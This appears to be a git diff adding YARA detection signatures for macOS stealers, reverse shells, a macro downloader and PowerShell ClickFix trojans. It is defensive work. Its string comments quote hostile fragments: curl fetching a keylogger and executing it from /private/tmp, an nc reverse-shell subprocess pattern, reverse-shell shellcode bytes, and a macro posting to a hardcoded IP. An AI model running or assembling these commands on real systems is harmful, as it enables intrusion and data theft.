b/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_A.yar @@ -0,0 +1,18 @@ + +rule Trojan_MacOS_SuspAmosExec_A{ + meta: + description = "Trojan:MacOS/SuspAmosExec.A,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 08 00 00 " + + strings : + $a_00_0 = {6f 00 73 00 61 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 2d 00 65 00 } //1 osascript -e + $a_00_1 = {6c 00 69 00 73 00 74 00 20 00 64 00 69 00 73 00 6b 00 73 00 } //1 list disks + $a_02_2 = {73 00 65 00 74 00 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 50 00 61 00 74 00 68 00 20 00 74 00 6f 00 [0-10] 2f 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 73 00 2f 00 } //1 + $a_02_3 = {73 00 65 00 74 00 20 00 61 00 70 00 70 00 4e 00 61 00 6d 00 65 00 20 00 74 00 6f 00 [0-10] 2e 00 } //1 + $a_02_4 = {64 00 6f 00 20 00 73 00 68 00 65 00 6c 00 6c 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 [0-10] 72 00 6d 00 20 00 2d 00 66 00 } //1 + $a_02_5 = {64 00 6f 00 20 00 73 00 68 00 65 00 6c 00 6c 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 [0-10] 63 00 70 00 } //1 + $a_02_6 = {64 00 6f 00 20 00 73 00 68 00 65 00 6c 00 6c 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 [0-10] 78 00 61 00 74 00 74 00 72 00 20 00 2d 00 63 00 } //1 + $a_02_7 = {64 00 6f 00 20 00 73 00 68 00 65 00 6c 00 6c 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 [0-10] 63 00 68 00 6d 00 6f 00 64 00 20 00 2b 00 78 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_B.yar b/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_B.yar new file mode 100644 index 0000000000..a15c7a0fea --- /dev/null +++ b/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_B.yar @@ -0,0 +1,18 @@ + +rule Trojan_MacOS_SuspAmosExec_B{ + meta: + description = "Trojan:MacOS/SuspAmosExec.B,SIGNATURE_TYPE_CMDHSTR_EXT,12 00 12 00 08 00 00 " + + strings : + $a_00_0 = {6f 00 73 00 61 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 2d 00 65 00 } //4 osascript -e + $a_02_1 = {64 00 6f 00 20 00 73 00 68 00 65 00 6c 00 6c 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 [0-10] 73 00 79 00 73 00 74 00 65 00 6d 00 5f 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 72 00 20 00 53 00 50 00 4d 00 65 00 6d 00 6f 00 72 00 79 00 44 00 61 00 74 00 61 00 54 00 79 00 70 00 65 00 } //4 + $a_02_2 = {64 00 6f 00 20 00 73 00 68 00 65 00 6c 00 6c 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 [0-10] 73 00 79 00 73 00 74 00 65 00 6d 00 5f 00 70 00 72 00 6f 00 66 00 69 00 6c 00 65 00 72 00 20 00 53 00 50 00 48 00 61 00 72 00 64 00 77 00 61 00 72 00 65 00 44 00 61 00 74 00 61 00 54 00 79 00 70 00 65 00 } //4 + $a_02_3 = {63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 73 00 [0-10] 51 00 45 00 4d 00 55 00 } //1 + $a_02_4 = {63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 73 00 [0-10] 56 00 4d 00 77 00 61 00 72 00 65 00 } //1 + $a_02_5 = {63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 73 00 [0-10] 43 00 30 00 37 00 54 00 35 00 30 00 38 00 54 00 47 00 31 00 4a 00 32 00 } //1 + $a_02_6 = {63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 73 00 [0-10] 43 00 30 00 32 00 54 00 4d 00 32 00 5a 00 42 00 48 00 58 00 38 00 37 00 } //1 + $a_02_7 = {64 00 6f 00 20 00 73 00 68 00 65 00 6c 00 6c 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 [0-10] 65 00 78 00 69 00 74 00 20 00 } //4 + condition: + ((#a_00_0 & 1)*4+(#a_02_1 & 1)*4+(#a_02_2 & 1)*4+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*4) >=18 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_C.yar b/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_C.yar new file mode 100644 index 0000000000..12a7c4e29e --- /dev/null +++ b/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_C.yar @@ -0,0 +1,22 @@ + +rule Trojan_MacOS_SuspAmosExec_C{ + meta: + description = "Trojan:MacOS/SuspAmosExec.C,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 0c 00 00 " + + strings : + $a_00_0 = {6f 00 73 00 61 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 2d 00 65 00 } //3 osascript -e + $a_00_1 = {6d 00 64 00 6c 00 73 00 20 00 2d 00 6e 00 61 00 6d 00 65 00 20 00 6b 00 4d 00 44 00 49 00 74 00 65 00 6d 00 46 00 53 00 53 00 69 00 7a 00 65 00 20 00 2d 00 72 00 61 00 77 00 20 00 } //3 mdls -name kMDItemFSSize -raw + $a_00_2 = {6d 00 6b 00 64 00 69 00 72 00 } //3 mkdir + $a_00_3 = {63 00 61 00 74 00 20 00 } //3 cat + $a_02_4 = {64 00 6f 00 20 00 73 00 68 00 65 00 6c 00 6c 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 [0-10] 64 00 69 00 72 00 6e 00 61 00 6d 00 65 00 20 00 } //3 + $a_02_5 = {74 00 65 00 6c 00 6c 00 20 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 [0-10] 46 00 69 00 6e 00 64 00 65 00 72 00 } //1 + $a_00_6 = {74 00 65 00 6c 00 6c 00 20 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 54 00 65 00 72 00 6d 00 69 00 6e 00 61 00 6c 00 } //1 tell application Terminal + $a_02_7 = {73 00 65 00 74 00 20 00 61 00 70 00 70 00 50 00 61 00 74 00 68 00 20 00 74 00 6f 00 [0-10] 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 73 00 } //1 + $a_00_8 = {72 00 65 00 76 00 65 00 72 00 73 00 65 00 20 00 6f 00 66 00 20 00 65 00 76 00 65 00 72 00 79 00 20 00 63 00 68 00 61 00 72 00 61 00 63 00 74 00 65 00 72 00 } //1 reverse of every character + $a_00_9 = {6f 00 70 00 65 00 6e 00 20 00 66 00 6f 00 72 00 20 00 61 00 63 00 63 00 65 00 73 00 73 00 20 00 77 00 72 00 69 00 74 00 65 00 } //1 open for access write + $a_00_10 = {6c 00 69 00 73 00 74 00 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 } //1 list folder + $a_00_11 = {50 00 4f 00 53 00 49 00 58 00 20 00 66 00 69 00 6c 00 65 00 } //3 POSIX file + condition: + ((#a_00_0 & 1)*3+(#a_00_1 & 1)*3+(#a_00_2 & 1)*3+(#a_00_3 & 1)*3+(#a_02_4 & 1)*3+(#a_02_5 & 1)*1+(#a_00_6 & 1)*1+(#a_02_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*3) >=21 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_D.yar b/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_D.yar new file mode 100644 index 0000000000..b5c845afce --- /dev/null +++ b/Trojan/MacOS/SuspAmosExec/Trojan_MacOS_SuspAmosExec_D.yar @@ -0,0 +1,20 @@ + +rule Trojan_MacOS_SuspAmosExec_D{ + meta: + description = "Trojan:MacOS/SuspAmosExec.D,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0a 00 00 " + + strings : + $a_00_0 = {6f 00 73 00 61 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 2d 00 65 00 } //1 osascript -e + $a_00_1 = {6a 00 61 00 63 00 6b 00 69 00 65 00 6d 00 61 00 63 00 } //1 jackiemac + $a_00_2 = {6d 00 61 00 72 00 69 00 61 00 } //1 maria + $a_02_3 = {64 00 6f 00 20 00 73 00 68 00 65 00 6c 00 6c 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 [0-10] 6d 00 6b 00 64 00 69 00 72 00 } //1 + $a_00_4 = {63 00 61 00 74 00 20 00 } //1 cat + $a_02_5 = {64 00 6f 00 20 00 73 00 68 00 65 00 6c 00 6c 00 20 00 73 00 63 00 72 00 69 00 70 00 74 00 [0-10] 66 00 69 00 6c 00 65 00 20 00 } //1 + $a_00_6 = {6d 00 61 00 72 00 6b 00 65 00 74 00 2d 00 68 00 69 00 73 00 74 00 6f 00 72 00 79 00 2d 00 63 00 61 00 63 00 68 00 65 00 2e 00 6a 00 73 00 6f 00 6e 00 } //1 market-history-cache.json + $a_00_7 = {2e 00 44 00 53 00 5f 00 53 00 74 00 6f 00 72 00 65 00 } //1 .DS_Store + $a_00_8 = {6c 00 69 00 73 00 74 00 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 } //1 list folder + $a_00_9 = {50 00 4f 00 53 00 49 00 58 00 20 00 66 00 69 00 6c 00 65 00 } //1 POSIX file + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1+(#a_00_4 & 1)*1+(#a_02_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspDownloadExec/Trojan_MacOS_SuspDownloadExec_D.yar b/Trojan/MacOS/SuspDownloadExec/Trojan_MacOS_SuspDownloadExec_D.yar new file mode 100644 index 0000000000..65148cf712 --- /dev/null +++ b/Trojan/MacOS/SuspDownloadExec/Trojan_MacOS_SuspDownloadExec_D.yar @@ -0,0 +1,16 @@ + +rule Trojan_MacOS_SuspDownloadExec_D{ + meta: + description = "Trojan:MacOS/SuspDownloadExec.D,SIGNATURE_TYPE_CMDHSTR_EXT,11 00 11 00 06 00 00 " + + strings : + $a_00_0 = {63 00 75 00 72 00 6c 00 20 00 } //4 curl + $a_00_1 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 70 00 73 00 64 00 62 00 31 00 33 00 33 00 37 00 2f 00 } //4 https://raw.githubusercontent.com/psdb1337/ + $a_00_2 = {2f 00 72 00 65 00 66 00 73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 00 6e 00 2f 00 6b 00 65 00 79 00 6c 00 6f 00 67 00 67 00 65 00 72 00 20 00 2d 00 6f 00 20 00 2f 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 2f 00 74 00 6d 00 70 00 2f 00 } //1 /refs/heads/main/keylogger -o /private/tmp/ + $a_00_3 = {2f 00 72 00 65 00 66 00 73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 00 6e 00 2f 00 73 00 68 00 65 00 6c 00 6c 00 63 00 6f 00 64 00 65 00 72 00 20 00 2d 00 6f 00 20 00 2f 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 2f 00 74 00 6d 00 70 00 2f 00 } //1 /refs/heads/main/shellcoder -o /private/tmp/ + $a_00_4 = {63 00 68 00 6d 00 6f 00 64 00 20 00 2b 00 78 00 20 00 2f 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 2f 00 74 00 6d 00 70 00 } //4 chmod +x /private/tmp + $a_00_5 = {26 00 26 00 20 00 2f 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 2f 00 74 00 6d 00 70 00 2f 00 } //4 && /private/tmp/ + condition: + ((#a_00_0 & 1)*4+(#a_00_1 & 1)*4+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*4+(#a_00_5 & 1)*4) >=17 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspDownloadExec/Trojan_MacOS_SuspDownloadExec_E.yar b/Trojan/MacOS/SuspDownloadExec/Trojan_MacOS_SuspDownloadExec_E.yar new file mode 100644 index 0000000000..f35b99c852 --- /dev/null +++ b/Trojan/MacOS/SuspDownloadExec/Trojan_MacOS_SuspDownloadExec_E.yar @@ -0,0 +1,15 @@ + +rule Trojan_MacOS_SuspDownloadExec_E{ + meta: + description = "Trojan:MacOS/SuspDownloadExec.E,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {74 00 6f 00 75 00 63 00 68 00 20 00 2f 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 2f 00 74 00 6d 00 70 00 } //1 touch /private/tmp + $a_00_1 = {63 00 75 00 72 00 6c 00 20 00 } //1 curl + $a_00_2 = {2f 00 44 00 79 00 6c 00 64 00 44 00 65 00 4e 00 65 00 75 00 72 00 61 00 6c 00 79 00 7a 00 65 00 72 00 } //1 /DyldDeNeuralyzer + $a_00_3 = {63 00 68 00 6d 00 6f 00 64 00 20 00 2b 00 78 00 20 00 2f 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 2f 00 74 00 6d 00 70 00 } //1 chmod +x /private/tmp + $a_00_4 = {26 00 26 00 20 00 2f 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 2f 00 74 00 6d 00 70 00 2f 00 } //1 && /private/tmp/ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspRevShellLoader/Trojan_MacOS_SuspRevShellLoader_A.yar b/Trojan/MacOS/SuspRevShellLoader/Trojan_MacOS_SuspRevShellLoader_A.yar new file mode 100644 index 0000000000..2f69e977c4 --- /dev/null +++ b/Trojan/MacOS/SuspRevShellLoader/Trojan_MacOS_SuspRevShellLoader_A.yar @@ -0,0 +1,13 @@ + +rule Trojan_MacOS_SuspRevShellLoader_A{ + meta: + description = "Trojan:MacOS/SuspRevShellLoader.A,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_02_0 = {2f 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 73 00 2f 00 62 00 75 00 72 00 70 00 20 00 73 00 75 00 69 00 74 00 65 00 20 00 63 00 6f 00 6d 00 6d 00 75 00 6e 00 69 00 74 00 79 00 20 00 65 00 64 00 69 00 74 00 69 00 6f 00 6e 00 2e 00 61 00 70 00 70 00 2f 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 73 00 2f 00 72 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 2f 00 6a 00 72 00 65 00 2e 00 62 00 75 00 6e 00 64 00 6c 00 65 00 2f 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 73 00 2f 00 68 00 6f 00 6d 00 65 00 2f 00 62 00 69 00 6e 00 2f 00 6a 00 61 00 76 00 61 00 [0-06] 2d 00 6a 00 61 00 72 00 } //2 + $a_02_1 = {2e 00 2f 00 72 00 65 00 76 00 65 00 72 00 73 00 65 00 5f 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 6a 00 61 00 72 00 [0-40] 20 00 34 00 34 00 34 00 33 00 } //1 + $a_02_2 = {2e 00 2f 00 72 00 65 00 76 00 65 00 72 00 73 00 65 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 6a 00 61 00 72 00 [0-40] 20 00 34 00 34 00 34 00 33 00 } //1 + condition: + ((#a_02_0 & 1)*2+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspRevShellPayload/Trojan_MacOS_SuspRevShellPayload_A.yar b/Trojan/MacOS/SuspRevShellPayload/Trojan_MacOS_SuspRevShellPayload_A.yar new file mode 100644 index 0000000000..7d86a83b1c --- /dev/null +++ b/Trojan/MacOS/SuspRevShellPayload/Trojan_MacOS_SuspRevShellPayload_A.yar @@ -0,0 +1,17 @@ + +rule Trojan_MacOS_SuspRevShellPayload_A{ + meta: + description = "Trojan:MacOS/SuspRevShellPayload.A,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 07 00 00 " + + strings : + $a_00_0 = {30 0c 80 d2 01 fe 46 d3 20 f8 7f d3 e2 03 1f aa e1 66 02 d4 e3 03 20 aa 01 42 80 d2 } //1 + $a_00_1 = {e0 f2 e1 83 1f f8 02 01 80 d2 e1 63 22 cb 02 02 80 d2 50 0c 80 d2 e1 66 02 d4 42 fc 42 d3 e0 03 23 aa 42 fc 41 d3 e1 03 02 aa } //1 + $a_00_2 = {50 0b 80 d2 e1 66 02 d4 ea 03 1f aa 5f 01 02 eb 21 ff ff 54 e1 45 8c d2 21 cd ad f2 e1 65 ce f2 01 0d e0 f2 e1 83 1f f8 01 01 80 } //1 + $a_00_3 = {d2 e0 63 21 cb e1 03 1f aa e2 03 1f aa 70 07 80 d2 e1 66 02 d4 } //1 + $a_00_4 = {5f 6d 65 6d 63 70 79 } //1 _memcpy + $a_00_5 = {5f 6d 6d 61 70 } //1 _mmap + $a_00_6 = {5f 6d 70 72 6f 74 65 63 74 } //1 _mprotect + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspRevShellPayload/Trojan_MacOS_SuspRevShellPayload_P1.yar b/Trojan/MacOS/SuspRevShellPayload/Trojan_MacOS_SuspRevShellPayload_P1.yar new file mode 100644 index 0000000000..2d59e8a6d8 --- /dev/null +++ b/Trojan/MacOS/SuspRevShellPayload/Trojan_MacOS_SuspRevShellPayload_P1.yar @@ -0,0 +1,16 @@ + +rule Trojan_MacOS_SuspRevShellPayload_P1{ + meta: + description = "Trojan:MacOS/SuspRevShellPayload.P1,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_00_0 = {61 ac 8e d2 81 2d ac f2 81 ee cd f2 41 ce e5 f2 e1 03 1f f8 21 ed 8d d2 c1 6d ae f2 e1 65 c8 f2 21 8c ed f2 e1 83 1e f8 21 08 8e d2 01 8e ad f2 21 6d cc f2 21 8c ee f2 } //1 + $a_00_1 = {e1 e5 8d d2 01 ae ac f2 c1 0d c0 f2 e1 03 1d f8 e1 a5 8e d2 61 4e ae f2 e1 45 cc f2 21 cd ed f2 } //1 + $a_00_2 = {01 07 80 d2 e1 63 21 cb e1 03 1b f8 e0 03 01 aa e1 43 01 d1 e2 03 1f aa 70 07 80 d2 e1 66 02 d4 } //1 + $a_00_3 = {5f 6d 65 6d 63 70 79 } //1 _memcpy + $a_00_4 = {5f 6d 6d 61 70 } //1 _mmap + $a_00_5 = {5f 6d 70 72 6f 74 65 63 74 } //1 _mprotect + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspRevShellPayload/Trojan_MacOS_SuspRevShellPayload_P2.yar b/Trojan/MacOS/SuspRevShellPayload/Trojan_MacOS_SuspRevShellPayload_P2.yar new file mode 100644 index 0000000000..4951d7e06c --- /dev/null +++ b/Trojan/MacOS/SuspRevShellPayload/Trojan_MacOS_SuspRevShellPayload_P2.yar @@ -0,0 +1,17 @@ + +rule Trojan_MacOS_SuspRevShellPayload_P2{ + meta: + description = "Trojan:MacOS/SuspRevShellPayload.P2,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 07 00 00 " + + strings : + $a_02_0 = {30 0c 80 d2 01 fe 46 d3 ?? ?? ?? ?? e2 03 1f aa e1 66 02 d4 } //1 + $a_02_1 = {02 04 80 d2 e1 63 22 cb ?? ?? 80 d2 10 0d 80 d2 e1 66 02 d4 e0 03 23 aa 41 fc 43 d3 50 0d 80 d2 e1 66 02 d4 e0 03 23 aa e1 03 1f aa e2 03 1f aa d0 03 80 d2 e1 66 02 d4 } //1 + $a_02_2 = {02 01 80 d2 e1 63 22 cb ?? ?? 80 d2 10 0d 80 d2 e1 66 02 d4 e0 03 23 aa 41 fc 43 d3 50 0d 80 d2 e1 66 02 d4 e0 03 23 aa e1 03 1f aa e2 03 1f aa d0 03 80 d2 e1 66 02 d4 } //1 + $a_00_3 = {e1 45 8c d2 21 cd ad f2 e1 65 ce f2 01 0d e0 f2 e1 83 1f f8 01 01 80 d2 e0 63 21 cb e1 03 1f aa e2 03 1f aa 70 07 80 d2 e1 66 02 d4 } //1 + $a_00_4 = {5f 6d 65 6d 63 70 79 } //1 _memcpy + $a_00_5 = {5f 6d 6d 61 70 } //1 _mmap + $a_00_6 = {5f 6d 70 72 6f 74 65 63 74 } //1 _mprotect + condition: + ((#a_02_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/MacOS/SuspReverseShell/Trojan_MacOS_SuspReverseShell_A.yar b/Trojan/MacOS/SuspReverseShell/Trojan_MacOS_SuspReverseShell_A.yar new file mode 100644 index 0000000000..e3ccdead88 --- /dev/null +++ b/Trojan/MacOS/SuspReverseShell/Trojan_MacOS_SuspReverseShell_A.yar @@ -0,0 +1,16 @@ + +rule Trojan_MacOS_SuspReverseShell_A{ + meta: + description = "Trojan:MacOS/SuspReverseShell.A,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_00_0 = {70 00 79 00 74 00 68 00 6f 00 6e 00 33 00 20 00 2d 00 63 00 } //1 python3 -c + $a_00_1 = {69 00 6d 00 70 00 6f 00 72 00 74 00 20 00 73 00 75 00 62 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //1 import subprocess + $a_02_2 = {73 00 75 00 62 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 2e 00 50 00 6f 00 70 00 65 00 6e 00 28 00 5b 00 27 00 6e 00 63 00 27 00 2c 00 [0-30] 2c 00 20 00 73 00 74 00 72 00 28 00 [0-30] 29 00 5d 00 2c 00 20 00 73 00 74 00 64 00 69 00 6e 00 3d 00 73 00 75 00 62 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 2e 00 50 00 49 00 50 00 45 00 2c 00 20 00 73 00 74 00 64 00 6f 00 75 00 74 00 3d 00 73 00 75 00 62 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 2e 00 50 00 49 00 50 00 45 00 2c 00 20 00 74 00 65 00 78 00 74 00 3d 00 54 00 72 00 75 00 65 00 29 00 } //1 + $a_02_3 = {73 00 75 00 62 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 2e 00 50 00 6f 00 70 00 65 00 6e 00 28 00 5b 00 [0-30] 5d 00 2c 00 20 00 73 00 74 00 64 00 69 00 6e 00 3d 00 [0-30] 2e 00 73 00 74 00 64 00 6f 00 75 00 74 00 2c 00 20 00 73 00 74 00 64 00 6f 00 75 00 74 00 3d 00 [0-30] 2e 00 73 00 74 00 64 00 69 00 6e 00 2c 00 20 00 73 00 74 00 64 00 65 00 72 00 72 00 3d 00 [0-30] 2e 00 73 00 74 00 64 00 69 00 6e 00 2c 00 20 00 74 00 65 00 78 00 74 00 3d 00 54 00 72 00 75 00 65 00 29 00 } //1 + $a_00_4 = {2e 00 77 00 61 00 69 00 74 00 28 00 29 00 } //1 .wait() + $a_00_5 = {2e 00 6b 00 69 00 6c 00 6c 00 28 00 29 00 } //1 .kill() + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/O97M/Malgent/Trojan_O97M_Malgent_RV_MTB.yar b/Trojan/O97M/Malgent/Trojan_O97M_Malgent_RV_MTB.yar new file mode 100644 index 0000000000..17c1bc1810 --- /dev/null +++ b/Trojan/O97M/Malgent/Trojan_O97M_Malgent_RV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_O97M_Malgent_RV_MTB{ + meta: + description = "Trojan:O97M/Malgent.RV!MTB,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {3d 63 72 65 61 74 65 6f 62 6a 65 63 74 28 22 6d 73 78 6d 6c 32 2e 78 6d 6c 68 74 74 70 22 29 68 74 74 70 5f 6f 62 6a 2e 6f 70 65 6e 22 70 6f 73 74 22 2c 22 68 74 74 70 3a 2f 2f 31 38 38 2e 31 33 30 2e 32 33 34 2e 31 38 39 2f 77 61 69 74 2e 70 68 70 } //1 =createobject("msxml2.xmlhttp")http_obj.open"post","http://188.130.234.189/wait.php + $a_01_1 = {73 70 6c 69 74 28 74 65 6d 70 5f 73 74 72 2c 22 23 23 23 22 29 } //1 split(temp_str,"###") + $a_01_2 = {73 75 62 64 6f 63 75 6d 65 6e 74 5f 6f 70 65 6e 28 29 } //1 subdocument_open() + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/PowerShell/ClickFix/Trojan_PowerShell_ClickFix_RR_MTB.yar b/Trojan/PowerShell/ClickFix/Trojan_PowerShell_ClickFix_RR_MTB.yar new file mode 100644 index 0000000000..15e0ba3d76 --- /dev/null +++ b/Trojan/PowerShell/ClickFix/Trojan_PowerShell_ClickFix_RR_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_PowerShell_ClickFix_RR_MTB{ + meta: + description = "Trojan:PowerShell/ClickFix.RR!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {62 00 79 00 70 00 61 00 73 00 73 00 } //1 bypass + $a_00_2 = {4a 00 41 00 42 00 68 00 41 00 44 00 30 00 41 00 4b 00 41 00 42 00 4f 00 41 00 47 00 55 00 41 00 64 00 77 00 41 00 74 00 41 00 47 00 38 00 41 00 59 00 67 00 42 00 71 00 41 00 47 00 55 00 41 00 59 00 77 00 42 00 30 00 41 00 43 00 41 00 41 00 54 00 67 00 42 00 6c 00 41 00 48 00 51 00 41 00 4c 00 67 00 42 00 58 00 41 00 47 00 55 00 41 00 59 00 67 00 42 00 44 00 41 00 47 00 77 00 41 00 61 00 51 00 42 00 6c 00 41 00 47 00 34 00 } //1 JABhAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/PowerShell/DownInfo/Trojan_PowerShell_DownInfo_BA.yar b/Trojan/PowerShell/DownInfo/Trojan_PowerShell_DownInfo_BA.yar new file mode 100644 index 0000000000..184a178eb1 --- /dev/null +++ b/Trojan/PowerShell/DownInfo/Trojan_PowerShell_DownInfo_BA.yar @@ -0,0 +1,13 @@ + +rule Trojan_PowerShell_DownInfo_BA{ + meta: + description = "Trojan:PowerShell/DownInfo.BA,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 03 00 00 " + + strings : + $a_00_0 = {67 00 65 00 74 00 2d 00 72 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 76 00 61 00 6c 00 75 00 65 00 20 00 22 00 68 00 6b 00 6c 00 6d 00 3a 00 5c 00 73 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 63 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00 79 00 22 00 20 00 22 00 6d 00 61 00 63 00 68 00 69 00 6e 00 65 00 67 00 75 00 69 00 64 00 22 00 } //10 get-registryvalue "hklm:\software\microsoft\cryptography" "machineguid" + $a_00_1 = {69 00 66 00 20 00 28 00 2d 00 6e 00 6f 00 74 00 20 00 28 00 24 00 72 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 2e 00 68 